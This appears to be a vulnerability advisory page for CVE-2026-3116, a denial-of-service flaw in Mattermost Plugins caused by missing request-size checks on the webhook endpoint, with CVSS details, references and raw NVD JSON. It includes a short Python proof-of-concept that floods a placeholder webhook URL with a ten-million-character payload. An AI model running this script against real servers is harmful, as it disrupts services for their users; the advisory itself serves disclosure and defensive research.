CVE-2026-3116

Description

Mattermost Plugins versions <=11.4 11.0.4 11.1.3 11.3.2 10.11.11.0 fail to validate incoming request size which allows an authenticated attacker to cause service disruption via the webhook endpoint. Mattermost Advisory ID: MMSA-2026-00589

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Mattermost Plugins <= 11.4

Mattermost Plugins 11.3.2 及更早版本

Mattermost Plugins 11.1.3 及更早版本

Mattermost Plugins 11.0.4 及更早版本

Mattermost Plugins 10.11.11.0 及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-3116: Mattermost Plugins DoS via Webhook
# Description: Sends a large payload to the webhook endpoint to trigger resource exhaustion.

TARGET_URL = "http://target-mattermost.com/plugins/WEBHOOK_ID"
AUTH_TOKEN = "YOUR_HIGH_PRIVILEGE_TOKEN"  # Requires High Privileges (PR:H)

headers = {
    "Authorization": f"Bearer {AUTH_TOKEN}",
    "Content-Type": "application/json"
}

# Generate a large payload to bypass size validation
malicious_payload = {
    "text": "A" * 10000000,
    "trigger_word": "exploit"
}

try:
    print("[*] Sending large payload to webhook endpoint...")
    response = requests.post(TARGET_URL, json=malicious_payload, headers=headers, timeout=5)
    print(f"[+] Server responded with status: {response.status_code}")
except requests.exceptions.Timeout:
    print("[!] Request timed out - potential successful DoS trigger")
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3116
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3116
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3116/
[4] VulDB https://vuldb.com/cve/CVE-2026-3116
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3116", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:42.823", "lastModified": "2026-03-30T13:26:50.827", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Plugins versions <=11.4 11.0.4 11.1.3 11.3.2 10.11.11.0 fail to validate incoming request size which allows an authenticated attacker to cause service disruption via the webhook endpoint. Mattermost Advisory ID: MMSA-2026-00589"}, {"lang": "es", "value": "Las versiones de los plugins de Mattermost <=11.4 11.0.4 11.1.3 11.3.2 10.11.11.0 no validan el tamaño de las solicitudes entrantes, lo que permite a un atacante autenticado causar interrupción del servicio a través del endpoint de webhook. ID de aviso de Mattermost: MMSA-2026-00589"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}